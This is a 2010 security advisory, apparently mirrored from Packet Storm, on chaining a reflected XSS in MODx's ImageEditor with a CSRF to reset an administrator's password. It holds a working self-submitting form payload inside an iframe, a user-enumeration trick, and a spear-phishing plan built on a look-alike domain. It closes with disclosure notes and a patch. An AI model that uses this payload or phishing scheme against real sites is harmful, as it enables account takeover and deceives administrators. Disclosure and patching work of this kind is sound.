Lucene search
K

Mod-X Cross Site Request Forgery / Cross Site Scripting

🗓️ 26 Aug 2010 00:00:00Reported by TurboBorlandType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Exploited mod-x installation leading to admin password change and CSRF attack

Code
`Got bored and decided to break the new website of the company I work for.  
Throughout I'll be dropping two new exploits that were chained to allow the  
changing of the administrative password of a default mod-x install. This is  
not a full review of mod-x, my main goal was just to break something, so I  
went with the first exploit I found.  
If you know me, you know I don't disclose unless you can exploit without  
user interaction. However, I thought it was a cool writeup on how security  
mechanisms were bypassed that I thought I would share.  
  
Did not discover much input that can be manipulated until I ran across a  
modx extension called ditto. Through ditto, I was able to discover a full  
path disclosure:  
http://www.victim.com/archives?myDittoCall_year=2009&myDittoCall_month=false&myDittoCall_day=false&myDittoCall_start[]=0  
  
Error message:  
« MODx Parse Error »  
MODx encountered the following error while attempting to parse the requested  
resource:  
« PHP Parse Error »  
  
PHP error debug  
Error: htmlspecialchars() expects parameter 1 to be string, array  
given  
Error type/ Nr.: Warning - 2  
File: /var/www/vhosts/  
victim.com/httpdocs/assets/snippets/ditto/classes/ditto.class.inc.php  
Line: 1077  
Line 1077 source: $query[htmlspecialchars($param, ENT_QUOTES)] =  
htmlspecialchars($value, ENT_QUOTES);  
  
Parser timing  
MySQL: 0.0022 s (19 Requests)  
PHP: 0.1612 s  
Total: 0.1633 s  
  
Effected Code (even though error is pretty verbose):  
foreach ($_GET as $param=>$value) {  
if ($param != 'id' && $param != 'q') {  
$query[htmlspecialchars($param, ENT_QUOTES)] =  
htmlspecialchars($value, ENT_QUOTES);  
}  
}  
  
First things first, htmlspecialchars with ENT_QUOTES seems to be messing  
with all of our injections. No charset appears to be specified, let's take  
a look at their default charset, perhaps one was specially set.  
UTF-8 is default charset, no special reflective injection point.  
  
However, we do have a full path disclosure and we now know that  
victim.comis running modx, let's go download that!  
*After fscking around, found that they use Evolution and not Revolution  
version of mod-x*  
  
http://www.victim.com/manager/ - Our login entry point.  
  
Looks like there's no nonce checking so csrf is a viable option after some  
modification. First, let's acquire some sort of username we can use to  
manipulate/create users (or something of equal fun).  
  
http://www.victim.com/manager/index.php?action=show_form  
Very nice! The forgot password form is happy to verify if the user exists  
via the email or not. Good chances that the email will be [email protected].  
This information can be used to advance our attack.  
  
After a lot of looking around and guessing names I finally ran across a  
valid user by looking around the site for contact emails and other  
usernames. Turns out it was a marketing person (+1 SE aid).  
After finding a valid user email, I was able to now work on crafting the  
exploit and using spear social engineering to exponentially increase the  
likelihood of an attack (spear phishing is very successful).  
  
Now, there are all sorts of valid CSRF around. However, we have a problem.  
victim.com/manager/index.php checks referrers. index.php includes/requires  
the actions that we want to have fun with.  
a.) Attack vector 1: See how strenuous the checks are for the referrer.  
Possibly attack a hosted sub-domain or another application (blog? Open  
source apps seem to work together.).  
if (!empty($referer)) {  
if (!preg_match('/^'.preg_quote(MODX_SITE_URL, '/').'/i',  
$referer)) {  
b.) Attack vector 2: Find a CSRF outside of index.php or directly access  
included/required files so referrer check is never executed. Problem is  
direct includes don't work on most of the fun scripts because of:  
if (IN_MANAGER_MODE != "true")  
die("<b>INCLUDE_ORDERING_ERROR</b><br /><br />Please use the MODx  
Content Manager instead of accessing this file directly.");  
c.) Attack vector 3: Somehow get the script on the site. Not likely  
otherwise this would probably never be needed.  
d.) Attack vector 4: Find an xss to reflect a self-submitting form.  
However, protect.inc.php seems to have basic xss protection and is included  
in most scripts.  
'@<script[^>]*?>.*?</script>@si',  
'@&#(\d+);@e',  
'@\[\[(.*?)\]\]@si',  
'@\[!(.*?)!\]@si',  
'@\[\~(.*?)\~\]@si',  
'@\[\((.*?)\)\]@si',  
'@{{(.*?)}}@si',  
'@\[\+(.*?)\+\]@si',  
'@\[\*(.*?)\*\]@si'  
  
After a bit of digging around (<30 minutes) in the scripts, I found a simple  
injection point in /manager/media/ImageEditor/editor.php.  
<title>Image Editor - <?php echo $_GET['img']; ?></title>  
Great! However, protect.inc.php is included. So <script> gets stripped.  
That's alright, let's find another way to run our javascript.  
</title></head><body onload="alert('hi');">  
This is why blacklists fail. Now all we need is a self-submitting form by  
placing javascript inside onload. Current Injection:  
  
</title></head><body onload='document.formcool.submit();'><form  
name='formcool' method='POST' action='  
http://victim.com/manager/index.php?a=34'><input type='hidden' name='id'  
value=''><input type='hidden' name='pass1' value='admin2' /><input  
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'  
value='Submit+Query' /></form>  
  
*We've crafted a self-submitting POST to execute a password change on the  
logged in user. While id is a variable, it is not needed and will execute  
on the current logged in user.  
  
  
Now, we'll place an iframe on our test site to attack our test modx  
installation. PoC:  
  
attacksite.com/xploit.html:  
HI! Password change recently?  
<br />  
<iframe src="http://victim.com/manager/media/ImageEditor/editor.php?img=</title></head><body  
onload='document.formcool.submit();'><form name='formcool' method='POST'  
action='http://victim.com/manager/index.php?a=34'><input type='hidden'  
name='id' value=''><input type='hidden' name='pass1' value='admin2' /><input  
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'  
value='Submit+Query' /></form>" />  
  
*So, iframe points to xss on target domain which will execute our CSRF which  
simply changes the logged in user's password to 'admin2'. Of course, this  
can be hidden in a valid website (my SE is included below).  
  
Login: setcookie('modx_remember_manager', $_SESSION['mgrShortname'],  
time()+60*60*24*365 <---- Save cookie for 60 days, 60 hours, 24 minutes,  
and 365 seconds. If cookies are saved, like your average user, we will have  
the past 60 days for our exploit to have executed without worrying about  
them logging after viewing our malicious SE site.  
Login: remember me is an option for indefinite storeage.  
  
  
My Social Engineer (The company I work for is a security company. So an  
exploit on the site would be an emberassment if someone who doesn't work  
here would find one. This is how I built the SE):  
.info's are now $3. modxsecurity.info anyone? Not taken! We could even do  
modxsecurity.com if we wanted to spend more and make that average user think  
it's even more legitimate.  
Well, we know that this is pretty much a default installation. No file I've  
checked has deviated from default. So it's simple to find security problems  
with their installation, report it to the email we discovered earlier saying  
they have x amount of vulnerabilities and our malicious website is a guide  
on how to fix it. Then point to our modxsecurity.com site with instructions  
on several misconfigurations/exploits and how to fix. Have hidden iframe  
placed in background that refreshes to make sure user is logged in an  
attempt injection. The iframe could be wrapped in ajax to execute iframe  
every minute or so to make sure to catch them when they're logged in. To  
stop generating traffic after exploit works, a test login using something  
like cURL can be made and the response checked for successful login. Best  
part is, even if found user is not capable of web administration, they would  
logically forward it to those who are which would still execute our attack.  
In this instance, a better PoC would likely be made because username may not  
be known (*note - passwords can be sent via email which may include  
username, adding administrators is possible, modifying pages with php in  
context of logged in user is possible, and etc.).  
  
  
  
Ethical Disclosure:  
CSRF had been reported: http://bugs.modx.com/browse/MODX-206  
However, referrer check was added on 22/Jul/08 4:00 PM and tokenizing was  
suggested and attempted implementation on 08/Oct/09 1:38 AM, however not  
much has been implemented in this regards.  
  
XSS reported: http://bugs.modx.com/browse/MODX-2281  
*Had manually emailed and got a response on August 12th. Was finally able  
to create ticket on the 16th. Found that no one was assigned, commented,  
and etc. for a week. It is a minor bug (as I filed it as such), however the  
application of it can make it a bit more destructive (as shown above). As  
all issues are now public knowledge and given time, public release with  
patch considerations for those needing it.  
  
Patching:  
It's relatively simple, just find:  
mod-x-install-path/manager/media/ImageEditor/  
and edit the file editor.php on the line 22:  
<title>Image Editor - <?php echo $_GET['img']; ?></title>  
With:  
<title>Image Editor - <?php echo htmlspecialchars($_GET['img'], ENT_QUOTES,  
'UTF-8'); ?></title>  
This should not break anything as it's not saved in a variable and is only  
shown in the title bar of the browser on this one page.  
  
As for the other protection like CSRF, might want to wait for the mod-x team  
on this one. I hope after a couple years from the original bug report, they  
have a little something that just needs some tweaking without breaking how  
their manager operates.  
  
~TurboBorland~  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation